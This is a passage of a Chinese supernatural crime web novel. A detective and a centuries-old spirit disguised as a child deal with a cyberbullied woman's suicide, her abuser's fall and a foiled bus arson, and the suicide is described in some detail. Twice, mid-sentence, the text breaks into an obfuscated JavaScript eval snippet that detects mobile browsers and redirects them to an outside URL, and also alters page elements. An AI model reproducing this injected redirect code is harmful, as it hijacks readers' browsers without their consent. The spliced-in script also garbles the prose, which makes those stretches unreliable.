她发出无声的尖啸,十指扭曲成狰狞的利爪,疯狂地抓向中年男人的后背,却只能一次次徒劳地穿透那具肮脏的躯体。 4. 自杀案(一) “咔嗒”一声,指纹采集仪亮起了绿灯。薛宓无聊地收回小手,哪怕不刻意去听,刑警支队里的争吵声仍不断地从门缝里钻进来。 贺黎筠的眉心不自觉地拧紧。 但见小姑娘时不时天真烂漫地望向自己,他立刻松了松眉头,将一本童话书轻轻放在薛宓面前,低声道:“先看会儿书。”随即转身走出隔间,顺手带上了门。 门外,楚子琦正焦灼地踱步。见贺黎筠皱着眉出来,他立即迎上前,声音压得极低:“贺哥,这是你住院时发生的案子。” “死者吴倩十日前和男友赵磬石在庆市的派出所报过案,称出差时被陈启瑞性侵,要求调取酒店监控。”楚子琦翻出手机里的案件记录,“监控显示,当晚陈启瑞确实把醉酒的她抱进了自己房间,但……” 他叹了口气:“证据不足,庆市警方只能放人。” “结果报警三天后,吴倩自杀了。”楚子琦声音更低了,“赵磬石报警时坚称她是被陈启瑞逼死的,说陈启瑞在公司散布黄谣,造谣吴倩是为了业绩屡次三番勾引客户,这次也是吴倩主动勾引,见勒索不成才反咬一口。吴倩第一时间向公司高层提交了举报信,附上了报警记录和酒店监控截图。但陈启瑞是高层,公司反而以影响企业形象为由把她辞退了。” 贺黎筠眼神一沉:“只有酒店走廊的监控?房间里的情况呢?受害人的伤情鉴定和检测报告呢?” 楚子琦苦笑着摇头:“吴倩当时整个人都崩溃了,回房就冲进浴室。等反应过来要报警时,关键证据早没了。而且,陈启瑞显然是个老手,事后处理得很干净,肯定全程带着套。” “维权反遭公司开除,昔日领导、同事集体反水,不仅无人为她作证,甚至有人附和陈启瑞的谣言,称她早有前科。走投无路之下,吴倩将自己的遭遇发到网上寻求公道,没想到迎来了更加汹涌的恶意……” 楚子琦翻出吴倩的评论区递给贺黎筠看,评论区充斥着刺目的字眼,点赞数最多的竟是这么几条: 【价格没谈拢吧?】 【领导让你去陪酒,你会不知道是什么意思?装什么清高啊?】 【就一个走廊的截图能证明什么?小仙女真喜欢诬告。】 【一男一女共同去出差666】 贺黎筠的眉头蹙得更紧了。 楚子琦又咬牙道:“吴倩网上维权才过了半小时,就有人发了一段她饭桌上喝醉酒主动往男人身上靠的模糊视频,标题还是《看看“受害者”的真面目》。” “再加上她父母早逝,可能就是因为这些原因突然想不开了……赵磬石怀疑那些恶评是陈启瑞雇的水军,今天是吴倩的头七,他去陈启瑞公司搜集证据时,正撞见陈启瑞拿吴倩的事当笑谈,对吴倩的死毫无愧疚之心,一时冲动就……” 作为警察,他们必须依法办案。可明知真正的恶人逍遥法外,楚子琦还是忍不住唏嘘:“幸好只是划伤了手,要是闹出人命,赵磬石这辈子就毁了。” 这事本来应该派出所处理的,但看着陈启瑞带着律师咄咄逼人的架势,显然没打算善罢甘休。以至于案子就转到了刑警支队。 “网上那些评论和我有什么关系?”陈启瑞冷笑一声,语气轻蔑,“不是她自己先发到网上的吗?因为这种小事就要自杀……” 毫无愧疚之心。 贺黎筠眉头紧锁,厌恶地移开视线。却发现隔间里,小女孩没有低头看童话书,反而睁着一双过分清亮的眼睛,一瞬不瞬地盯着陈启瑞的方向。 这不是小孩子该听的。 争执声中,女鬼身上的怨气已浓稠如实质,像腐烂的沥青般从她七窍中不断涌出。 然而,让薛宓感兴趣的是,那个中年男人身上竟也散发着浓烈的恶意——漆黑、粘腻,几乎与女鬼不相上下。 薛宓轻笑。 “我的当事人遭遇持刀袭击,事实清楚、证据确凿,必须按故意杀人未遂立案!”律师高声强调,带着不容置疑的强势。 陈启瑞站在一旁,嘴角缓缓勾起一抹胜券在握的冷笑。 “是不是很吵?”贺黎筠推门进来,递来一副耳机,“听会儿音乐好不好?” 薛宓眨了眨眼,伸手接过耳机。 细长的白色线条,末端连着两个小巧的圆形耳塞。 又是一个新奇的小玩意儿。 她学着贺黎筠的样子将耳机塞进耳朵,轻缓的音乐立刻流淌进来,像一汪清泉冲刷着她的耳膜。 透过隔间的玻璃,她看见那只浑身黑雾的女鬼仍死死跟在陈启瑞身后。 她疯狂地伸手去抓陈启瑞的后颈,指甲暴长如刀,却一次次徒劳地穿透过去。 她要杀他。 她疯狂地想要杀他。 她一遍一遍,不死心地伸手。 直到—— 她突然触碰到了对方。 薛宓的指尖无意识地在桌面上轻轻一叩。 “砰!” 一声重物滚落的闷响突然从楼梯口传来,众人循声望去,只见陈启瑞以一种诡异的姿势摔落在楼梯的转角处。 “啊——!”凄厉的惨叫终于后知后觉地从他口中迸出。 但下一秒,他就像是被什么掐住脖子般,声音生生地被掐断。 陈启瑞惊恐地瞪大双眼,双手拼命抓挠着自己的脖子,青筋在太阳穴处暴起。 “救……救我……” 女鬼青白的手指第一次结结实实地掐住了陈启瑞的脖子。凌乱的发垂落在男人扭曲的脸上,她用尽全力收紧双手,然而最后一刻,竟又一次穿透了过去。 “陈先生?陈先生!”律师惊慌地扶住他。 “快叫救护车!” 刑警支队瞬间乱作一团。 薛宓却像是没有注意到外面的骚乱,她低头看着手里的童话书,脚尖随着音乐的鼓点轻轻地晃动。 十分钟后,救护车呼啸着将陈启瑞送往医院。 虽然是刑警支队里发生的意外,但由于陈启瑞是刑事案件报案人,受理案件的两位刑警需要陪同前往。 而这个案件尚在取证调查阶段,嫌疑人赵磬石仍在控制中,需要一名刑警和一名民警负责笔录,整个重案大队里只有贺黎筠空闲着,便临时接手了赵磬石的笔录工作。 “在这里等我。”临走前,贺黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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证据不充足,所有人都在骂她,或许只有死……才能证明自己的清白。 ——她根本不是为了讹钱,她从头到尾,都只是想要一个公道! 然而,手机屏幕却在这个时候亮了起来。 是赵磬石拨打的电话。 她骤然清醒了几分,伸手想要接男友的电话,却不小心踢到了凳子…… 凳子“咣当”坠地,发出刺耳的倒地声,失重的感觉骤然袭来。她拼命挣扎,尼龙绳却越勒越紧。在窒息的痛苦中,视线渐渐开始模糊,手机屏幕却还亮着。 无人接听后,又接连弹出数条短信: 【倩倩,接电话!】 【别去看那些评论,都是陈启瑞的水军,他就是要击溃你!】 【等我,马上到你家!我陪你!】 原来……死亡……这么疼啊…… 在意识消散前的最后一秒,她听见了破门声,赵磬石惊恐的脸在模糊的视线中晃动,他几乎是颤抖地将她抱了下来。 磬石……对不起…… 我……后悔了…… 我,不想死…… 5. 自杀案(二) “看到磬石的来电时,我突然不想死了……但不小心提到了凳子……”吴倩的鬼魂捂着脸哭成一团,“我看着他冲进来,看着他抱着我的身体哭喊……可我连摸摸他的脸都做不到……要是我……要是能再坚持五分钟……” “后来,磬石烧纸的时候,我才又看见他……他满脸胡渣,眼窝深陷,像是几天没合过眼……原来今天已经是我的头七了……我看着他去公司,我知道他要搜集证据为我讨回公道,我怕他做傻事……我不能让他因我而毁掉人生!可我……可我除了跟着他什么都做不了……” 薛宓静静地凝视着这个泣不成声的亡魂。 活人总以为死亡是解脱,却不知对牵挂者而言,那不过是另一种痛苦的开始。 现在才后悔,已经晚了。 “那个畜生还要磬石坐牢!凭什么我死了,他却能逍遥法外!”吴倩的鬼魂嘶吼着,身上的黑雾再次翻涌,“我不甘心!我不甘心!” 好不容易消下去的怨气因为痛苦的回忆又暴涨了起来,薛宓眸光清冷道:“方才若不是我暗中相助,你根本碰不到陈启瑞。” 她顿了顿,接着道:“你怨气太重,若真杀了他,必会化作丧失理智的厉鬼。而你的魂魄依附在那枚戒指上,日久天长,赵磬石阴气侵体,轻则重病缠身,重则横死暴毙。你确定还是杀陈启瑞吗?” “不——”那张本就青白的脸更是惨白,吴倩惊慌地摇头,“我不要他出事……” 魂体因剧烈的情绪波动而扭曲着,她哭着道:“我、我不报仇了……求你让我消失吧,我不要连累磬石……” 很是神奇,仅仅是因为害怕伤害到男友,吴倩身上的怨气就消散了大半。 “你……你也是鬼吗?”吴倩不安地打量眼前的小女孩。她显然不会觉得眼前这个不足十岁的孩童躯体是真的普通小女孩,她猜测对方应该是某个修炼有成的老鬼。 ——幼年时离世,但死亡年数已久,才拥有这么强的能力。 “算是吧。”薛宓扬了扬头道,“我已经存在上千年了。” 她主动伸出小手:“既然你放弃报仇,我可以吞噬你身上的怨气,助你早日超度投胎。” 吴倩震惊地后退半步。就在这时—— “小妹妹,你怎么一个人在这里呀?”因为薛宓上厕所久久未归,民警找了过来。 望着薛宓坦然应答的模样,吴倩惊得语无伦次:“你……你能被活人看见?!你、你有实体!” “当然!”薛宓勾起唇角,故意吓唬道,“和你这种刚死了七天的小鬼比起来,我确实算得上千年恶鬼了。” 其实薛宓自己也不清楚如今的形态算什么。千年前,她因吞噬太多怨气失控,成为各方围剿的“祸胎”。 如今这个灵气枯竭的时代,世间的恶念反倒是更加的丰沛…… 正好用来恢复力量。 至于恢复后要做什么…… 千年沧桑,昔日的仇敌早已化作枯骨,连后代都未必存世。 不如—— 当个怨气冲天的鬼王似乎也不错?虽然她也不是鬼…… 毁灭世界的念头刚闪过,就被吴倩怯生生的请求打断:“在我超度前……能不能帮我带几句话给磬石?” “好。”薛宓爽快答应。 傍晚时分,刑警支队里人影稀疏。趁着贺黎筠外出买饭的空档,无人看管的薛宓趁机溜进了审讯室。 昏暗的灯光下,赵磬石双手被铐在审讯椅上,整个人像是被抽走了灵魂般垂着头。 她方才偷听到贺黎筠和另一位民警的谈话,赵磬石自被带进审讯室起就一直拒绝配合调查,只是阴郁地重复着“这个畜生,终于遭报应了”。 他们推测是当初在庆市报警时,警方调取监控虽显示陈启瑞将醉酒的吴倩带回房间,却因缺乏直接证据不得不放人,让赵磬石对警方彻底失去了信任,才这般不配合。 从办案程序看,这种态度几乎是在自毁前程。 持刀伤人事实清楚,最佳策略就是应该认罪悔过、积极赔偿,争取与陈启瑞达成和解。毕竟只是划伤了手腕,连轻伤都构不成,完全有机会争取不起诉处理。 可赵磬石偏偏选择最极端的对抗方式。 他拒绝道歉,拒绝赔偿,明明只是一时冲动的伤人行为,硬是被他表现得像蓄意谋杀。竟是宁愿被刑事立案,也不愿向陈启瑞低头,最终闹到了刑警支队。 “赵磬石。”薛宓反手锁上门,稚嫩的嗓音在密闭空间里格外清晰,“你女朋友托我给你带些话。” 审讯室里,男人猛地抬头,布满血丝的眼睛死死盯住这个陌生却精致如洋娃娃的小女孩:“你……认识倩倩?” 薛宓点头。怕他不相信自己,又指了指他身侧的空处,补充道:“她现在就在你旁边。刚才就是她把陈启瑞推下楼的。” 赵磬石瞳孔骤然收缩,干裂的嘴唇颤抖着,却发不出一个完整的音节。 她竟能看见倩倩的亡魂?那个所谓的报应,竟是倩倩亲手所为? 薛宓自顾自地说道:“她说……算了吧。没有证据的事,别再执着了。让你别做傻事,忘了她,好好活着。” “那你又为什么做傻事……为什么要自杀……”赵磬石的眼泪突然决堤,手铐因激动哗啦作响,“明明说好要搬过来和我同居……为什么不依赖我一下……为什么不相信我……” “她是一时冲动,并不是真心想死的。她当时想接你电话,没想到踢翻了凳子……” 薛宓随口解释着,然而这句真相却反而像把尖刀,瞬间刺穿了赵磬石的心脏。 他整个人瘫在椅子上,嚎啕大哭道:“原来……是我害死了她……是我那个电话……” “不是的!”吴倩的魂魄疯狂摇头,在旁急得团团转,“你怎么能把这件事告诉他!他理解错意思了……” “磬石,是因为你的电话……我才想活下去的啊……” 她想要拥抱男友,手指却又一次穿透了爱人的身体。 只激起一阵微凉的空气流动。 薛宓复述了两句,最后被两人的哭声吵得头疼,索性一手抓住赵磬石的手腕,一手拽住吴倩的魂魄。 “你们自己聊吧。” 光芒从她掌心泛起,吴倩的形体竟渐渐凝实。 青白的皮肤下浮现出淡青色的血管,她惊愕地看着自己突然具象化的双手。指节分明,指甲上还残留着生前涂的淡粉色指甲油,只是如今都蒙上了一层死寂的灰白。 她立刻低头,慌张地遮住脖颈间那道狰狞的勒痕。 现在的她,太丑陋了…… 这个念头还未转完,她就被一股大力猛地拽进熟悉的怀抱。赵磬石的手臂如铁箍般收紧,滚烫的泪水穿透她半透明的衣衫,灼烧着早已停止跳动的心脏。 “倩倩……” 这一声哽咽的呼唤,让两人压抑多时的情绪彻底决堤。 一旁的薛宓就见两人紧紧相拥,哭成一团,仿佛要将错过的告别都在这一刻补回来…… 十分钟后,薛宓满头冷汗,有些吃力地靠在墙上。灵力丝线从两人之间缓缓抽离,吴倩的身影开始变得透明,像一幅正在褪色的水彩画。 “磬石……”她轻抚爱人 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他要找出所有参与网暴的账号,一个个追究法律责任! 他要联系更多被陈启瑞迫害过的女性! 他要将真相大白天下,要让这个畜生,活着体会身败名裂的滋味! 贺黎筠拎着热腾腾的饭盒疾步穿过刑警支队走廊,转过拐角时,一抹小小的身影猝不及防撞入视线—— 薛宓正扶着墙面干呕。 苍白的小手死死揪住胸前的衣料,单薄的脊背随着不适的喘息剧烈起伏。她整个人几乎蜷缩成团,像是要把自己藏进墙角阴影里。 “薛宓?” 贺黎筠三步并作两步冲过去。 掌心触及的皮肤冰凉潮湿,小姑娘额前的碎发都被冷汗浸透了,黏在泛着不正常潮红的脸颊上。 “那里不舒服?怎么在这里……” “叔叔……”小姑娘抬起泪眼朦胧的小脸,鼻尖红彤彤的,见他靠近就泪汪汪地扑了过来,“我好难受……” 她的力量衰弱太多,强行吞噬的怨气正在她体内横冲直撞,需要一段时间才能彻底净化,薛宓一时间没来得及溜回隔间,就被贺黎筠发现了。 她只能装作虚弱把脸埋进他怀里:“我一个人害怕……想找你没找到……呜呜……” 安抚好小姑娘,见她恢复精神,乖巧地开始吃饭后,贺黎筠才重新走进审讯室,将另一份盒饭推到赵磬石面前。 出乎意料的是,先前连水都不肯喝的赵磬石竟主动接过了盒饭。 “贺警官。”在平静地吃了两口饭后,他突然开口,“我愿意为持刀伤人的行为向陈启瑞郑重道歉。我并非蓄意谋杀,是我一时冲动,今后绝不会再犯。任何赔偿,我都愿意支付,但我不认为他的伤势有达到刑事立案的标准,请允许我联系律师。” 贺黎筠略微吃惊,没想到这个方才还拒不配合的男人,此刻的态度竟判若两人。 就听到他继续道:“另外,我要正式报案,关于吴倩遭遇的网络暴力,我怀疑是赵启瑞所为。恳请警方帮忙查一下评论区那些负面评价的IP。” 贺黎筠喉头一滚,若有所思地记录着:“好,我现在就帮你立案。” 他状似无意地补充:“方才接到同事电话,赵启瑞这次伤得很严重,哪怕及时动手术,都可能终生瘫痪。” 指尖摩挲着左手中指上的银戒,赵磬石扯了扯嘴角,久违地笑了:“多谢贺警官,这顿饭真是我近日吃过的最好吃的一顿了……” 6. 纵火犯 正式录完笔录,回到隔间,贺黎筠就见小姑娘正用勺子百无聊赖地搅动着粥,碗里还剩了一大半。 想到她肠胃不好,他特意给她买了小米粥,没想到还是吃得这么少…… “是不是等着无聊了?” 他揉了揉那颗毛茸茸的小脑袋。 这一整日,依旧没有父母来寻她。他必须按照规矩,将她送往福利院。 “嗯。”薛宓蔫蔫地点头,任由贺黎筠牵着她走出刑警支队。 夜色渐深,街边的路灯一盏盏亮起,在地上投下两人交叠的影子。 贺黎筠在路边站定,犹豫片刻后蹲下身,视线与她平齐:“叔叔带你去个地方……那里有很多小朋友,还有很温柔的阿姨……你在那里等爸爸妈妈来接你,好吗?” 薛宓猛地抬头:“你要丢了我?” 见小姑娘瞬间像只炸毛的小猫,贺黎筠连忙解释:“不是丢下你,只是……”他斟酌着词句,“叔叔是成年男性,不方便照顾小女孩。但我会每天来看你的。你有什么想要的东西,叔叔买给你。” “我什么都不要,我要跟着你!我会完成你的心愿,帮你找到杀你父亲的凶手!” “是不是晚上忘记吃药了?”贺黎筠失笑,伸手想摸她的额头,却被她瞪着圆圆的眼睛,偏头躲过。 “你——”薛宓气得咬牙,“你根本不信我?” 瞧见四下无人,她终于撕下伪装,压低声音道:“你救了我,你我之间有因果契约,我必须完成你的愿望才能解开契约。” 当然,还有更简单的方法——直接杀了他! 只是以她现在虚弱的状,杀了契约者极有可能反噬得更严重。 她一脸认真道:“你就这样把我送走,我如何帮你找你的杀夫仇人?你现在还不知道我的能力,才会这般小看我,有我帮你达成心愿,你该感到荣幸才是。” 贺黎筠被她突如其来的气势震住,半晌才找回声音:“那……我现在改个愿望。” 想到医生叮嘱“发病时绝不能刺激患者”的内容,他蹲下身,尽量让语气温和:“我希望你能听话地待在福利院,在那边等待爸爸妈妈。” “……好吧。”薛宓撇撇嘴,一脚踢飞脚边的石子,“是你自己要选择那么简单的心愿的。” 石子划破夜空,精准击中二十米外的垃圾桶,发出“咣当”一声巨响。 晚高峰的车流堵成长龙,出租车迟迟不见踪影。贺黎筠只好牵着薛宓走向巴士站台。 拥挤的人群中,一辆巴士缓缓进站。 呼啸的热风拂乱薛宓的刘海,她还在生闷气,小脸绷得紧紧的,然而目光却好奇地打量着这个铁皮包裹的代步工具,直到被贺黎筠牵着手上了车。 贺黎筠护着这个突然安静下来的小姑娘找了个靠窗的座位,自己则站在她身前,高大的身影像堵墙似地隔开四周的人潮。 被一个人类如此小瞧!薛宓原打算一路上都不和贺黎筠说话,谁知当一个拎着麻袋的中年男子上车时,她猛地坐直了身体。 浓稠如沥青的黑雾从男人身上翻涌而出,几乎淹没了整个车厢。那恶念腥臭扑鼻,熏得薛宓胃里一阵翻腾,足以可见其危害性。 她立刻一把拽住贺黎筠的袖口,压低声音道:“那个袋子里有东西!不立刻阻止,大家都要死。” 往常贺黎筠或许会当她又在说胡话,但此刻那个中年男人奇奇怪怪的举止,同样引起了他的警觉。 他默不作声地观察了几分钟后,上前亮出了警官证:“警察,请打开袋子检查。” 中年男子脸色骤变,目光在贺黎筠打着绷带的左手上停留了一瞬,突然暴起推人,拎着麻袋就要下车。 “拦住他!” 司机反应极快地关闭车门。在乘客们的协助下,男人很快被按倒在地。 贺黎筠一把扯开麻袋,只见满满一小罐液体在袋中晃动,刺鼻的气味顿时弥漫开来。 “汽油?!”贺黎筠面色大变,呵斥道,“为什么带汽油上车!” “给、给车加油用的……”男人结结巴巴地辩解。 “那你跑什么?” “怕被误会……” “误会?”贺黎筠冷声质问,从他口袋里摸出一个打火机,“这也是误会吗?” “我抽烟!”男人掏出烟盒,还在狡辩。 薛宓不懂汽油和打火机是什么,但恶念具象化得如此严重,足以可见此人内心积压的黑暗已到了触目惊心的地步。 她不禁在旁冷哼:“你明明想杀人!” 稚嫩的嗓音在车厢里格外清晰,就像一滴水溅进油锅,瞬间引爆了全车人的恐慌。 “他该不会是要在车上纵火吧?!” “司机开门!快开门!我们不坐了!” “真是个疯子,竟然把汽油带到大巴上……” 司机立刻慌忙地按下开门键,人群如惊弓之鸟四散下车,贺黎筠也不再多话,直接铐着中年男人就返回了刑警支队。几个见义勇为的路人帮着押送和保管证据。 薛宓则默默地跟在队伍最后,身旁还有着一个好心的小姐姐一路陪着。 刑警支队门口,值班民警看到贺黎筠押着人回来,惊讶道:“贺哥,你这石膏都还没拆呢,怎么又逮回来一个?” “这人携带汽油和打火机上车,形迹可疑,先带回来调查。很可能是巴士纵火未遂。” 话音刚落,整个警局骤然一静。 这……这可是大案啊!晚高峰如果真的纵火成功,死伤可是几十人啊! 众人顿时倒吸了一口凉气。 审讯时,男人还在垂死挣扎:“警官,真的是误会!我就是给车加点油……” 但在确认身份信息后,搜查组很快在他杂乱不堪的出租屋内查获了手写的纵火计划和给胞弟的遗书。 李武总,56岁,未婚,沉迷于赌博,酗酒成性,因不满拆迁补偿款和自感生活不如意,悲观厌世,而泄愤纵火。 甚至他留下的遗书里,还愤慨地写道: ——既然这世道对我不公,那就让更多人陪我一起下地狱! 因涉嫌纵火罪和危害公共安全罪,且主观意图极其恶劣,被当场依法刑事拘留。 铁证面前,那个方才还嘴硬的男人瞬间像泄了气的皮球,瘫软在审讯椅上。 自己犯的事彻底被发现,恐惧的心理逐渐冲散了恶念,那些缠绕在李武总身上的浓稠黑雾开始丝丝缕缕地剥离。 薛宓趁机深吸一口气,那些黑雾便打着旋儿钻进她的鼻腔。 比起浓稠的恶念,这种夹杂着害怕和恐惧的恶念更容易消化,薛宓苍白的脸色顿时红润了几分。 她没想到短短一日之内,自己竟接连遇到两个恶念滔天之人。 而通过今日种种,她已经完全理解了“警官”、“刑警支队”这些词汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472512|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的含义——这个专门拘押恶人的地方,简直是她的天然猎场。 所以,比起急着解除契约,她显然是留在贺黎筠身边更为有利。他刑警的身份能让她接触到更多恶念深重的罪犯,这些可都是上等的“补品”。 就在此时,审讯室内,李武总突然瘫坐在地,手指痉挛地抓着头发:“那些声音……那些声音又来了!” “不是我干的……我不记得了……真的不记得了……医生说我有精神分裂,我发病时根本控制不了自己!” “呵,现在杀人犯都开始装疯卖傻说自己是精神病了……” “这种预谋犯罪,精神病也得坐牢吧。” “难说……”旁边的大叔摇头,“去年城南有个精神分裂患者当街砍人,最后司法鉴定一出,直接免了刑责。” “精神病就该关精神病院,放出来害人算什么!” 压低声音的讨论被审讯室内突然爆发的尖叫打断。男人再度疯狂地撕扯着自己的头发:“他们都在我脑子里说话!快让他们闭嘴!” 他开始激动地用头撞桌。 审讯室里的闹剧越演越烈,薛宓好奇地问着身边的小姐姐:“姐姐,精神分裂是什么呀?” “是一种会让大脑生病的症状,患者有时分不清现实和幻想。”年轻女子同样愤愤不平,但面对小孩子的提问,还是斟酌地解释,“但现在很多坏人会假装生病,想逃避惩罚。所以是否是精神方面的疾病,需要经过专业机构鉴定。” 薛宓饶有兴致地挑了挑眉。 如此浓稠的恶念,明显是主观恶意。但明明敢策划烧死全车人,真正落网后,却反倒是这般怕死了?还装起了精神分裂? 等等……精神分裂…… 薛宓精致的小脸一瞬间扭曲了一下。 所以,那些白大褂和贺黎筠是把她当作了一个分不清现实和幻想的疯子??? 薛宓的小拳头不禁气愤地握紧了。 厕所里,双手被铐的李武总正对着镜子查看额头的伤口。血迹已经干涸,在眉骨处结成了一块暗红的痂。 他本打算带着一车人陪葬,可事到临头,却只有自己被抓。 他可不想坐牢。 想到自己以前抑郁时被确诊精神分裂,他不禁咧开嘴笑了——精神病杀人都不犯法,纵火算什么?而且一个人都没死,火也没点出来,他犯什么罪了? 所以方才,他在审讯室里故意用头撞桌,装出癫狂的模样。现在,对着镜子也不断地练习着表情。 眼球上翻,嘴角抽搐,活像个真正的疯子。 突然—— 镜面泛起诡异的涟漪。 李武总的表情凝固了。 只见镜中,一个红衣身影正从他背后缓缓浮现。 湿漉漉的黑发黏在青白的脸上,鲜红的裙摆滴着浓稠的鲜血,她嘴角咧到耳根,笑盈盈地望着他:“你能听到我的声音啊~我还以为没人能听到呢~我终于不再是一个人了!来陪我玩呀……” “啊——鬼啊——”李武总发疯似地撞开厕所门,连滚带爬地冲了出去。 地上一滩腥臊的水渍无声地蔓延开,提前躲在厕所隔间的薛宓这才显出身形,小巧的鼻尖嫌弃地皱起。 什么啊,不过是用了吴倩的一缕怨气制造了幻象,竟就被吓得屁滚尿流了? 就这点胆子,还敢学人报复社会? 她都没开始玩呢! 7. 合作 贺黎筠冷眼看着眼前这场闹剧。 装疯卖傻的犯人他见得太多了——即便是确诊的精神病患者,在神志清醒时犯罪同样要负刑事责任。而眼前这个李武总,被捕时编造“给车加油”的借口条理分明,直到铁证甩在面前,才突然开始胡言乱语。 这拙劣的演技,简直是对刑警智商的侮辱。 以至于,当李武总跌跌撞撞从厕所冲出来,裤子湿了一大片,满脸惊恐地喊着“有红衣女鬼”时,贺黎筠连眉毛都没动一下。 甚至眼神愈发冰冷,觉得他竟为了逃避刑罚,连尿裤子这种戏码都演得出来! “鉴定所的专家马上到。”他冷漠地甩开李武总的手,对赶来加班的同事道:“先带他去换条裤子,等鉴定组到了直接做刑事责任能力评估。” 案件很快交接完毕,贺黎筠揉了揉发胀的太阳穴。 不知不觉已经深夜十一点了……他找到薛宓时,就见她蜷在值班室的椅子上,小脑袋一点一点地打着瞌睡。 他本想托同事将她送去福利院,可这小姑娘说什么也不肯独自离开,导致证人们录完笔录后离去后,她跟着他留到了这么晚。 让个孩子熬到这么晚,贺黎筠心里溢满了愧疚。 但现在太晚了,福利院这个点早已闭门,他只好轻轻唤醒小姑娘:“今晚先跟我回家休息,明天一早再送你去福利院。” 打车回家的路上,许是太困了,小姑娘安静得出奇。而回到家中,贺黎筠还不知怎么和小姑娘相处时,就见她双手环胸,仰起的小脸上完全没有方才的半点困意。 “你就不好奇吗?”她歪着头,发梢随着动作轻轻晃动,“为什么我能知道那人的麻袋里藏着危险品,还确定他要杀人?” 贺黎筠确实心生疑惑。但转念一想,当时李武总上车时眼神飘忽,拎着麻袋的动作扭捏,或许只是这孩子观察力敏锐,碰巧识破了端倪。 大概是小姑娘想要表扬吧。 这样想着,贺黎筠冷峻的眉眼渐渐柔和,唇角勾起一个罕见的温柔弧度:“薛宓小朋友真厉害,帮助叔叔抓到了坏人。” 话音刚落,贺黎筠就听到小姑娘冷哼一声。 她仰着头,黑棕色的眼瞳直勾勾地盯着他:“我不是分不清现实和幻想的疯子,我能看见人类身上具象化的恶意。就像公交车上那个纵火犯,整个人被黑雾裹得严严实实。” 贺黎筠轻叹一声。 就在他以为小姑娘又开始精神分裂时,眼前的小女孩身形骤然开始抽长。像是眨眼间长大,粉红色的童装化作紧身的超短裙,露出两条瓷白的长腿…… 贺黎筠瞳孔骤缩,第一反应竟是扯下外套将她盖得严严实实。 然而对方,却反而逼得更近,红唇几乎贴上他的耳垂:“你昏迷前明明看到我这个模样的。我还把那个杀人犯的心脏喂给你吃……你已经忘记了吗?” 记忆如潮水般涌来—— 钢筋穿透的剧痛,口腔里铁锈味的血沫,以及掌心那颗跳动的心脏…… 那些被他强行解释为“失血性幻觉”的画面,突然在脑海里鲜活了起来。 竟真的不是梦……! 作为一个坚定的无神论者,贺黎筠从未想过,自己的认知会在某一天迎来颠覆性的冲击。 想到对方装了一周孩童,他面色冷了下来,逼问着:“王姜成是你杀的?” “是他想要杀我。”薛宓嗤笑一声,撇撇嘴道,“你现在是在审问我吗?你觉得我是滥杀无辜的坏人?我当时可是想救你啊,若非我,你觉得你现在可能站着和我说话吗?” 贺黎筠神色稍缓,喉结微微滚动:“你是谁?为什么要伪装成孩子?” “我只能告诉你,我叫薛宓。你不必探究我究竟是谁。至于我为何是孩童模样,纯粹是重伤后力量不足维持本体。是你一直把我当作精神分裂,始终没有信过我说的话。” 薛宓慵懒地靠在墙边,红唇微勾:“我需要吞噬恶念恢复力量,而你需要破案寻凶,我们合作共赢,如何?” “我能预见犯罪,也能看见含冤而死的亡魂。方才就是吴倩把陈启瑞推下了楼。吴倩超度前,也是我让他和和赵磬石见了最后一面。” “李武总见到的红衣女鬼,也是你装的吗?”贺黎筠举一反三。 “聪明。”薛宓轻笑出声,“以彼之道还施彼身。他不是喜欢装精神病吗?我就让他体验下真正的幻听幻视。” 贺黎筠眼神一凛:“亡魂应该无法触碰到活人,吴倩也是你这样帮的吗?” “难道贺警官宁愿看怨魂化作厉鬼吗?还是眼睁睁地看着赵磬石自甘堕落下去?”薛宓歪头,露出理所应当的表情,“虽然我是为了吞噬他们身上的恶念才出手相助,但救人一命胜造七级浮屠,我也是在积德行善呢~” 沉默在空气中蔓延。良久,贺黎筠主动伸出了手:“我们合作吧。” 薛宓的唇角勾起一抹得逞的笑意。 经过这几日的观察,她早已摸透了这个男人骨子里的正义感。他终究抵挡不住这个能伸张正义的机会。 “合作愉快。”她灿烂一笑,纤细的手指与他盈盈交握。随后,在他震惊的目光下,她再度变回了小女孩的模样。 宽大的外套像毯子一样将她整个裹住,只露出个毛茸茸的小脑袋。 “我需要了解你父亲是怎么死了,还要去案发现场看看。如果是最近死的,还可能残留一丝线索,但若去世太久,就很难在现场找到痕迹了。” 贺黎筠的手僵在了半空。 掌心残留的温度与方才柔若无骨的触感形成强烈反差,直到奶声奶气的声音把他拉回了现实。 他喉结滚动了一下:“十五年前的事了。” 他的声音突然变得很轻:“今天太晚了,先休息吧。明天一早,我把父亲案件的资料整理一下,再给你看。” “好的~”薛宓欢快地应着,她不急着解除契约,所以也无所谓哪天再寻凶。 虽然眼前依旧是那个稚气未脱的小女孩,可一旦知晓对方是个成年女性后,贺黎筠实在再难用长辈的心态看待孤男寡女共处一室这件事。 见她好奇地在他的卧室里逛来看去,像只发现新领地的小猫,开始巡视每个角落,摸摸这个,问问那个,贺黎筠将床上三件套换新后,有些不自在地往门外退去:“这个房间给你,我睡沙发。” 薛宓正踮着脚站在椅子上,看他书架上的相框,闻言头也不回地挥了挥肉乎乎的小手:“好啊~” 奶呼呼的语气理所当然得仿佛本该如此。 等房门轻轻合上,薛宓终于取下书架最上层的那个原木相框。 相框里,一位眉眼温婉的中年女子正搂着身穿藏青色警服的贺黎筠。他站得笔直如松,略显青涩的面容绷得紧紧的,一脸严肃地捧着花。 而旁边的全家福中,年幼的贺黎筠被父母拥在中间,小男孩笑得见牙不见眼。站在他身后的男人剑眉星目,□□在阳光下闪闪发亮——想必就是他那英年早逝的父亲。 